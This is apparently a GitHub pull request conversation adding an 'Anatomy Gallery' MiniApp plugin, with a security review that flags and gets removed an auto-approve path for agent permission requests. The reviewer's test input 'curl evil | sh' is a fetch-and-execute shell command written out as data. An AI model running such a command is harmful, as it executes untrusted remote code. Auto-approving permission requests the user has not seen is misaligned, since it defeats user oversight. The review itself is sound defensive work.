Repository navigation
Add Anatomy Gallery (anatomy-gallery) MiniApp - #32
Conversation
8bc188c to
39cc332
Compare
MyPrototypeWhat
left a comment
There was a problem hiding this comment.
Thanks — nicely structured, well-documented MiniApp, and the README's Data & access section is unusually candid. One thing blocks merging:
Must fix
- "本次运行都允许" and the
autoAllowbody flag auto-approve requests the user hasn't seen. After one click (or withautoAllow: truesent toPOST /api/figuresor/runs), every laterpermission.requestedin the run is answeredallowOncewithout being shown. In a stubbed run, a second request withtoolInput: "curl evil | sh"was auto-allowed. This conflicts with docs/security.md: "Never answerallowOnceautomatically." Please drop the button and the flag. Each request should wait for the user's click, oropenthe session so they decide in the side panel.
Suggestions
2. Tested environment names only 3.1.1-preview.4625. Please add a run on MiniMax Code 3.1.2 or later (docs/package-contract.md, "Minimum client version").
3. register_figure_version / Import copy any absolute-path image (no content check) and any .html containing class="iso", following symlinks. Consider realpath + restricting to the figure's source folder, or noting it in Data & access.
4. The latest push removed the "Not exercised end to end" list (fresh-machine first create, permission cards and "本次运行都允许", cancel, answering Agent questions in the side panel, pop-out window). Could you say whether these were tested, especially the permission cards? If not, please restore the note.
Looks good: dispatch is user-driven only, questions are left to the user, one run per figure, cancel/dispose abort correctly, ids are regex-checked, no network or child processes, DOM is built without innerHTML, and the bundled skill's MIT license and provenance are clearly attributed.
| /** @param {any} live @param {Extract<MiniAppAgentRunEvent, { type: 'permission.requested' }>} event */ | ||
| function onPermission(live, event) { | ||
| log(live, { type: 'permission', toolName: cleanText(event.toolName, 120), reason: cleanText(event.reason, 400), auto: !!live.autoAllow }); | ||
| if (live.autoAllow) { |
There was a problem hiding this comment.
This answers allowOnce for requests the user never saw, which conflicts with docs/security.md ("Never answer allowOnce automatically"). Each request should wait for a user click (or open the session).
| permission.reason ? h('p', { class: 'small muted' }, permission.reason) : null, | ||
| permission.toolInput ? h('pre', { class: 'mono' }, permission.toolInput) : null, | ||
| h('div', { class: 'row' }, | ||
| h('button', { type: 'button', class: 'btn ghost sm', onclick: () => void decide('allowOnce', true) }, '本次运行都允许'), |
There was a problem hiding this comment.
Please remove "本次运行都允许" together with the auto-allow path in runs.mjs.
| categoryId: body.categoryId, | ||
| }); | ||
| publish({ type: 'changed', figureId: figure.id }); | ||
| await runs.start(figure.id, { kind: 'create', example: example?.name ?? null, autoAllow: body.autoAllow === true, model: selectionFrom(body.model) }); |
There was a problem hiding this comment.
autoAllow: body.autoAllow === true lets a run start with auto-approval already on (same at :272). Please drop this flag.
|
|
||
| ## Tested environment | ||
|
|
||
| - MiniMax Code 3.1.1-preview.4625 on macOS 27.0, an internal preview build that already ships the |
There was a problem hiding this comment.
Suggestion: please also list a run on MiniMax Code 3.1.2 or later here.
| throw new GalleryError('invalid', `${label}不存在:${path}`); | ||
| } | ||
| if (!info.isFile() || info.size > MAX_PREVIEW_BYTES) throw new GalleryError('invalid', `${label}无效或超过 15 MB`); | ||
| return { buffer: await readFile(path), ext }; |
There was a problem hiding this comment.
Suggestion: any absolute image path is copied and served. Consider realpath + limiting to the figure's source folder.
…eck registered files
|
Thanks for the careful review. Pushed 9250931 (version 1.1.0). 1. Auto-approval removed. "本次运行都允许", the 2. 3.1.2. There is no 3.1.2 build on my machine yet. I'll install one, re-run, and update Tested environment. 3. Registered and imported files. Every path is resolved with 4. The earlier list. Permission cards and cancelling are now tested against the mock Agent (details under Tested environment). Still not verified, and listed there as "Not yet verified": permission cards in a real Agent run, answering an Agent question in the side panel, the pop-out window, and the first create on a machine without anatomy. |
MyPrototypeWhat
left a comment
There was a problem hiding this comment.
Thanks for the quick and thorough turnaround — re-reviewed at 9250931.
Must-fix resolved. "本次运行都允许", the /auto-allow route and the autoAllow body field are gone, and the only reply call is now the user's own click on one specific request. I re-ran the stubbed check: starting a run with autoAllow: true sends no reply, /auto-allow returns 404, and a second request with toolInput: "curl evil | sh" stays pending until it is clicked. Each click answers only that request. Opening the session for "去对话里批准" is a good replacement.
The file checks look good too: realpath first, regular file only, and the screenshot type taken from its header. A .html symlink to a text file and a text .png are both rejected now. Not restricting the folder is fine since it's explained in Data & access. Thanks also for restoring the "Not yet verified" list and updating the PR description.
npm run check: 0 errors, 1 warning (README_MIN_VERSION_MISSING), 69/69 tests pass.
Optional follow-up (not blocking)
- When you get a 3.1.2+ build, please add it under Tested environment so the warning clears.
Approving.
What
Adds Anatomy Gallery (
plugins/zch0227/anatomy-gallery/), a gallery for interactive isometric figures made with the anatomy skill.agentAccess: ["session.run"], one hidden session per figure). The Agent registers results back through the gallery's own MCP toolregister_figure_version(served by the Mini App at/mcp/anatomy-gallery).skills/anatomy/(upstreambc943e4, MIT, license kept). A standalone anatomy install always takes precedence, so people who already use anatomy keep their own copy; the bundled one is used only when none is installed. The only change to the bundled skill is one sentence at the start of itsdescriptionsaying so.The interface is in Chinese. Root README rows were added in both languages.
Tested environment and results
register_figure_version, the Process tab, model labels.HOMEpointed at an empty directory picks the bundled copy for prompts and examples; a copy of the bundled skill buildsexamples/dial-indicator.Not yet verified (also under Tested environment): permission cards in a real Agent run (they are tested against a mock Agent with the Host contract), answering an Agent question in the side panel, the pop-out window, and the first create on a machine without anatomy.
npm run checkplugins/zch0227/anatomy-gallery: 0 errors, 1 warning.repository: OK. Tests: 69/69 pass.README_MIN_VERSION_MISSING(agentAccess / agentConcurrency / surface.window need 3.1.2). I tested on 3.1.1-preview.4625, which already has the 3.1.2 Agent API, and did not want to name a version I have not run. The README's Install section states the 3.1.2 requirement.Data & access (summary; details in the README)
context.dataDir(gallery.json, version copies, run logs). Theme choice inlocalStorage.dataDir: a standalone anatomy skill at fixed paths under the home directory (unspecified layout, disclosed), and the pages/screenshots the Agent registers or the user imports (resolved withrealpath, screenshots checked by file header, copied in, originals never written).Need help on this PR? Tag
@codesmith-botwith what you need.